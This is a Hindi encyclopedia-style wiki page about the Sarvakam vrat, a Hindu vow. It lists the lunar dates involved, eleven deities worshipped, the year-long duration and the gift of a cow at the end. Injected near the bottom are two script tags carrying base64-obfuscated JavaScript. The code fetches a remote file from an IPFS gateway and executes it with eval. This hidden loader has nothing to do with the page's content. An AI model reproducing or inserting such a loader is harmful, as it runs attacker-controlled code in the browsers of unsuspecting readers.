सर्वकाम व्रत
भारत डिस्कवरी प्रस्तुति
शिल्पी गोयल (वार्ता | योगदान) द्वारा परिवर्तित 12:47, 10 सितम्बर 2010 का अवतरण ('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया)
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- माघ कृष्ण पक्ष की चतुर्दशी पर पितरों की पूजा करनी चाहिए।
- यज्ञ करने का पुण्य प्राप्त होता है।[1]
- मार्गशीर्ष की एकादशी पर उपवास रखा जाता है।
- सर्वकामव्रत में चन्द्र तथा मंगल, सूर्य, निर्ऋति[2], वरुण, अग्नि, रुद्र, मृत्यु, दुर्गा आदि 11 देवी-देवताओं की पूजा की जाती है।
- सर्वकामव्रत एक वर्ष तक किया जाता है।
- अन्त में एक गोदान किया जाता है।
- ऐसी मान्यता है कि सर्वकामव्रत रुद्रलोक की प्राप्ति होती है।[3]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>